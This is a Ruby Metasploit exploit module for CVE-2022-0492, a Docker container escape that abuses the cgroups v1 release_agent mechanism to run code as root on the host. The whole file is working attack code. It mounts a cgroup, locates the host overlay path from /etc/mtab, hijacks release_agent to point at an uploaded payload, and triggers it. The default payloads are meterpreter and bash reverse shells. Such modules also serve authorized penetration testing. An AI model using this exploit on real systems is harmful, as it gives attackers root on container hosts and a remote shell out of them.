## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html include Msf::Post::Linux::Priv include Msf::Post::Linux::Kernel include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Docker cgroups Container Escape', 'Description' => %q{ This exploit module takes advantage of a Docker image which has either the privileged flag, or SYS_ADMIN Linux capability. If the host kernel is vulnerable, its possible to escape the Docker image and achieve root on the host operating system. A vulnerability was found in the Linux kernel's cgroup_release_agent_write in the kernel/cgroup/cgroup-v1.c function. This flaw, under certain circumstances, allows the use of the cgroups v1 release_agent feature to escalate privileges and bypass the namespace isolation unexpectedly. More simply put, cgroups v1 has a feature called release_agent that runs a program when a process in the cgroup terminates. If notify_on_release is enabled, the kernel runs the release_agent binary as root. By editing the release_agent file, an attacker can execute their own binary with elevated privileges, taking control of the system. However, the release_agent file is owned by root, so only a user with root access can modify it. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'Yiqi Sun', # discovery 'Kevin Wang', # discovery 'T1erno', # POC ], 'Platform' => [ 'unix', 'linux' ], 'SessionTypes' => ['meterpreter'], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }, 'Privileged' => true, 'References' => [ [ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=24f6008564183aa120d07c03d9289519c2fe02af'], [ 'URL', 'https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/'], [ 'URL', 'https://github.com/T1erno/CVE-2022-0492-Docker-Breakout-Checker-and-PoC'], [ 'URL', 'https://github.com/PaloAltoNetworks/can-ctr-escape-cve-2022-0492'], [ 'URL', 'https://github.com/SofianeHamlaoui/CVE-2022-0492-Checker/blob/main/escape-check.sh'], [ 'URL', 'https://pwning.systems/posts/escaping-containers-for-fun/'], [ 'URL', 'https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html'], [ 'URL', 'https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation'], [ 'URL', 'https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/'], [ 'CVE', '2022-0492'] ], 'DisclosureDate' => '2022-02-04', 'Targets' => [ ['BINARY', { 'Arch' => [ARCH_X86, ARCH_X64], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } }], ['CMD', { 'Arch' => ARCH_CMD, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } }] ], 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK] } ) ) register_advanced_options [ OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) ] end def base_dir datastore['WritableDir'] end def check print_status('Unable to determine host OS, this check method is unlikely to be accurate if the host isn\'t Ubuntu') release = kernel_release # https://people.canonical.com/~ubuntu-security/cve/2022/CVE-2022-0492 release_short = Rex::Version.new(release.split('-').first) release_long = Rex::Version.new(release.split('-')[0..1].join('-')) if release_short >= Rex::Version.new('5.13.0') && release_long < Rex::Version.new('5.13.0-37.42') || # Ubuntu 21.10 release_short >= Rex::Version.new('5.4.0') && release_long < Rex::Version.new('5.4.0-105.119') || # Ubuntu 20.04 LTS release_short >= Rex::Version.new('4.15.0') && release_long < Rex::Version.new('4.15.0-173.182') || # Ubuntu 18.04 LTS release_short >= Rex::Version.new('4.4.0') && release_long < Rex::Version.new('4.4.0-222.255') # Ubuntu 16.04 ESM return CheckCode::Vulnerable("IF host OS is Ubuntu, kernel version #{release} is vulnerable") end CheckCode::Safe("Kernel version #{release} may not be vulnerable depending on the host OS") end def exploit # Check if we're already root as its required fail_with(Failure::NoAccess, 'The exploit needs a session as root (uid 0) inside the container') unless is_root? # create mount folder = rand_text_alphanumeric(5..10) @mount_dir = "#{base_dir}/#{folder}" register_dir_for_cleanup(@mount_dir) vprint_status("Creating folder for mount: #{@mount_dir}") mkdir(@mount_dir) print_status('Mounting cgroup') cmd_exec("mount -t cgroup -o rdma cgroup '#{@mount_dir}'") group = rand_text_alphanumeric(5..10) group_full_dir = "#{@mount_dir}/#{group}" vprint_status("Creating folder in cgroup for exploitation: #{group_full_dir}") mkdir(group_full_dir) print_status("Enabling notify on release for group #{group}") write_file("#{group_full_dir}/notify_on_release", '1') print_status('Determining the host OS path for image') # for this, we need the line that starts with overlay, and contains an 'upperdir' parameter, which we want the value of mtab_file = read_file('/etc/mtab') host_path = nil mtab_file.each_line do |line| next unless line.start_with?('overlay') && line.include?('perdir') # upperdir line.split(',').each do |parameter| next unless parameter.start_with?('upperdir') parameter = parameter.split('=') fail_with(Failure::UnexpectedReply, 'Unable to determine docker image path on host OS') unless parameter.length > 1 host_path = parameter[1] end break end fail_with(Failure::UnexpectedReply, 'Unable to determine docker image path on host OS') if host_path.nil? || host_path.empty? || host_path.start_with?('sed') # start_with catches repeat of command vprint_status("Host OS path for image: #{host_path}") payload_path = "#{base_dir}/#{rand_text_alphanumeric(5..10)}" print_status("Setting release_agent path to: #{host_path}#{payload_path}") write_file "#{@mount_dir}/release_agent", "#{host_path}#{payload_path}" print_status("Uploading payload to #{payload_path}") if target.name == 'CMD' # for whatever reason it's unhappy and wont run without the /bin/sh header upload_and_chmodx payload_path, "#!/bin/sh\n#{payload.encoded}\n" elsif target.name == 'BINARY' upload_and_chmodx payload_path, generate_payload_exe end register_files_for_cleanup(payload_path) print_status("Triggering payload with command: sh -c \"echo \$\$ > #{group_full_dir}/cgroup.procs\"") cmd_exec(%(sh -c "echo \$\$ > '#{group_full_dir}/cgroup.procs'")) end def cleanup if @mount_dir vprint_status("Cleanup: Unmounting #{@mount_dir}") cmd_exec("umount '#{@mount_dir}'") end super end end